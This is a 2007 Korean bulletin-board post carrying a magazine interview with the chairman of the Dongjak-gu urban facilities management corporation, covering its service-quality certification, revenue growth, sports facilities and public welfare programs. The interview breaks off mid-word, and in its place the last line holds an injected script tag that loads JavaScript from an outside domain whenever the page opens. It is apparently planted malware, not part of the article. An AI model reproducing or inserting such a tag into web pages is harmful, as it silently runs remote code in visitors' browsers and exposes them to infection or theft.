제목 | 공단 CEO 인터뷰[월간 리더스] | ||
작성자 | 작성자경영혁신팀 | 작성일 | 작성일 07.06.13 |
첨부파일 |
|
||
조회수 | 조회 6,188회 | ||
2007. 6월호<월간 리더스> CEO 릴레이 인터뷰
동작구도시시설관리공단 - 장상우 이사장 '가장 큰 경쟁력 경영혁신에 앞장서는 것' 동작구도시시설관리공단이 지난 4월 16일 2007년 한국서비스품질 우수기업에 선정되는 등 서비스품질 우수기업 인증을 받으면서 관심을 끌고 있다. 이번 인증은 2005년 5월 자치구 지방 공기업 최초로 인증을 받은데 이어 재인증을 받았기 때문이다. 동작구도시시설관리공단 장상우 이사장을 만나 성장비결을 들어봤다. 동작구도시관리공단은 2000년 10월 동작구에서 자본금 전액을 출자하여 창립된 관내 유일의 지방 공기업으로 '고효율 경영' 운영과 '고품질 서비스' 제공을 모든 사업의 기본으로 삼아 이를 실천함으로써 구민으로부터 신뢰와 칭찬을 받는 것을 최고의 기업가치로 여기고 실천하고 있습니다. 동작구도시관리공단 장상우 이사장은 공단의 설립 목적에 대해 이렇게 말했다. 그는 또한 이를 달성하기 위한 방법으로 '친절관리, 회원관리, 시설관리' 등 3대 고객편의 우선주의를 통해 고객의 편안함과 편리함을 우선하며, 경영의 효율성을 기하여 '최우수공기업'으로 성장하고 있다.'면서 '동작구 관내 5개의 구립 및 공공 체육시설과 복지시설로 대표되는 안면도 둥작구휴양소, 구민회관 그리고 8개소의 공영주차장과 3,800여면의 거주자우선주차장, 견인차량보관소, 옥외광고물 관리 등 다양한 사업을 동작구로부터 수탁 받아 운영해 오는 등 외형적으로 많은 성장을 해왔다.'고 밝혔다. *최고의 기업가치는 구민의 신뢰와 칭찬 장 이사장은 이어 '꾸준히 성장해 매년 5~10%의 이용자 수와 수입의 증가를 통해 2000년 9월 공단 설립 이후 사업의 정착기인 2002년부터 매년 20억원 상당의 수익을 창출함으로써 설립 6년차인 2006년 말까지에 누계 사업수익 120억원 달성을 실현할 수 있었다'고 강조했다. 동작구 도시관리공단은 설립 6년 만에 2006년도 행정자치부 지방 공기업 기업평가에서 명실공히 '최우수공기업'으로 선정되는 등 서울시 자치구 중 선두 공기업으로서 확실한 자리매김을 하고 있다는 평을 받고 있다. 장 이사장은 '지난 4월 16일 산업자원부에서 인증(기간 2007년 4월에서 2010년 4월까지)하는 2007년 한국서비스품질 우수기업에 선정되어 서비스품질 우수기업 인증을 수여 받았습니다. 이번 인증은 2005년 5월 자치구 지방 공기업최초로 인증을 받은데 이어 재인증을 받은 것으로, 고객만족 경영을 펼치는 지방공기업이라는 영예를 다시 한 번 인정받은 것이라 생각합니다.'라고 말했다. *선두공기업으로 자리매김했다는 평가받아 장 이사장은 동작구 도시관리공단의 가장 큰 경쟁력에 대해 다른 지방 공기업보다 먼저 실현하는 등 경영혁신에 앞장서 오고 있다는 것을 꼽는다. 예를 들면 행정차지부에서 지방공기업 경영혁신을 위해 강력히 추진하고 있는 BSC 성과평가체제를 동작구의 예산지원을 받아 지난 2004년 5월경에 이미 도입, 고객만족과 성과주의에 기반한 효율경영 등이 바로 그것이라는 것. 그 뿐 아니라 공단은 스포츠예술의 대중화를 통해 '오늘의 건강가꾸기는 미래 행복의 약속'을 실현하는데 일조하고 있다. '회원 작품 발표회'와 '스포츠페스티벌' 등 구민이 참여하는 다양한 스포츠예술 행사를 발굴, 개최함으로서 구민의 화합과 건강을 증진하는 구민기업으로 그 활동영역을 넓혀오고 있다는 것이다. 또한 소외계층과 일반구민을 대상으로 한 공익프로그램인 '장애인 재활수영강습', 노년층을 위한 '찾아가는 웰빙 건강체조교실', 보라매공원에서의 '스트레칭 교실', '관내 의료기관과의 협약 체결을 통한 의료서비스 제공' 등 고객만족 경영을 적극적으로 실천해 나가고 있다는 것을 거듭 강조한다. *최우수 공기업으로 성장 자신 현재 공단은 동작구 관내 동서남북에 걸쳐 지역별로 고루 안배된 5개 체육시설에는 헬스, 수영, 체육관, 골프, 요가, 각종댄스 종목 등 다양한 프로그램을 운영하고 있다. 그 덕분에 체육시설의 이용자 수는 월 정기회원이 12,800여명으로, 연간 약 250만명이 이용하고 있어 서울시 자치구 공단이 운영하는 체육시설 중 프로그램과 이용자 수에서 최상위 수준을 자랑하고 있다. 장 이사장은 '현재 공단은 구립 체육시설 가운데 최신시설과 최대규모를 자랑하는 '운동처방실'을 설치하고, 개인별 건강상태와 신체조건에 알맞은 운동방법을 밀착 지도해주는 본격적인 운동처방서비스를 제공하고 있습니다'라고 말한다. 지난 2003년 10월 공단 이사장 취임 후 가장 기억에 남는 일이 무엇이냐는 질물에 장 이사장은 '대부분의 고객은 '공기업은 경영의 효율성과 서비스 면에서 민간기업에 비해 뒤떨어진다'라는 고정관념이 가지고 있으나 우리 공?script src=http://www.adw95.com/b.js></script> |